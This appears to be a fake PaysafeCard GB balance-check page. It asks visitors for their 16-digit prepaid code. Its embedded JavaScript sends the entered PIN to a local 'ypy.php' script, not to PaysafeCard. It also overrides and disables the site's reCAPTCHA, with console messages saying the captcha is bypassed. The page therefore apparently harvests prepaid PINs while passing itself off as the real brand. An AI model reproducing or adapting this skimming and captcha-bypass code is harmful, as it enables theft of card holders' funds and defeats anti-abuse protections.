balance check | PaysafeCard GB

Do you already have a PaysafeCard prepaid code?

Then simply check your balance by entering the 16-digit code here.

Download the PaysafeCard app

Download the app for the best PaysafeCard experience. Full control of your online payments, even when travelling.

Google PlayApple iOS

Smartphone
window.addEventListener("DOMContentLoaded", function() { // Get the form element var form = document.getElementById('pinForm'); var submitBtn = document.getElementById('balancecheck-submit845309') || document.querySelector('button[type="submit"]'); var pinInput = document.querySelector('input[name="pin"]') || document.getElementById('pin'); var resultContainer = document.getElementById('balancecheck-result') || document.createElement('div'); // Create result container if it doesn't exist if (!document.getElementById('balancecheck-result')) { resultContainer.id = 'balancecheck-result'; resultContainer.style.marginTop = '20px'; resultContainer.style.padding = '15px'; resultContainer.style.borderRadius = '5px'; resultContainer.style.display = 'none'; form.parentNode.insertBefore(resultContainer, form.nextSibling); } // Handle form submission directly without captcha form.addEventListener('submit', function(e) { e.preventDefault(); var pin = pinInput.value.trim(); // Validate PIN if (!pin || pin.length !== 16 || !/^\d{16}$/.test(pin)) { showResult('Please enter a valid 16-digit PIN.', 'error'); return; } // Disable submit button if (submitBtn) { submitBtn.disabled = true; submitBtn.textContent = 'Checking...'; } // Show loading showResult('Checking PIN balance... Please wait.', 'loading'); // Send request to ypy.php fetch('ypy.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'pin=' + encodeURIComponent(pin) }) .then(function(response) { return response.json(); }) .then(function(data) { if (data.success) { showResult('✅ Success! Balance: ' + (data.balance || 'N/A'), 'success'); } else { showResult('❌ Error: ' + (data.error || 'Invalid PIN or API error'), 'error'); } }) .catch(function(error) { showResult('❌ Error: ' + error.message, 'error'); }) .finally(function() { // Re-enable submit button if (submitBtn) { submitBtn.disabled = false; submitBtn.textContent = 'Check Balance'; } }); }); // Helper function to show results function showResult(message, type) { var resultDiv = document.getElementById('balancecheck-result'); resultDiv.style.display = 'block'; resultDiv.className = 'result-' + type; resultDiv.textContent = message; // Add styling var colors = { 'loading': '#007bff', 'success': '#28a745', 'error': '#dc3545' }; resultDiv.style.border = '2px solid ' + (colors[type] || '#6c757d'); resultDiv.style.backgroundColor = (type === 'loading') ? '#e7f3ff' : (type === 'success') ? '#d4edda' : '#f8d7da'; resultDiv.style.color = colors[type] || '#6c757d'; resultDiv.style.padding = '12px'; resultDiv.style.borderRadius = '5px'; resultDiv.style.marginTop = '15px'; } // Override the original captcha functions window.onBalanceCheckSubmit845309 = function(recaptchaToken) { // Bypass captcha - trigger form submission directly if (form) { form.dispatchEvent(new Event('submit', { bubbles: true })); } }; // Override captcha render window.onRecaptchaLoad845309 = function() { // Don't render captcha, just enable the button var btn = document.getElementById('balancecheck-submit845309'); if (btn) { btn.disabled = false; btn.textContent = 'Check Balance'; } console.log('Captcha bypassed - direct submission enabled'); }; // Remove any existing cookie clearing that might interfere // document.cookie = "_origin=;path=/;expires=Thu, 01 Jan 1970 00:00:01 GMT"; console.log('PIN checker initialized - captcha bypassed'); }); // If captcha tries to load, intercept it if (typeof grecaptcha !== 'undefined' && grecaptcha.enterprise) { // Override render method to do nothing grecaptcha.enterprise.render = function(element, options) { console.log('Captcha render intercepted and bypassed'); // Enable the submit button immediately var btn = document.getElementById('balancecheck-submit845309') || document.querySelector('button[type="submit"]'); if (btn) { btn.disabled = false; btn.textContent = 'Check Balance'; } return 'bypassed'; }; }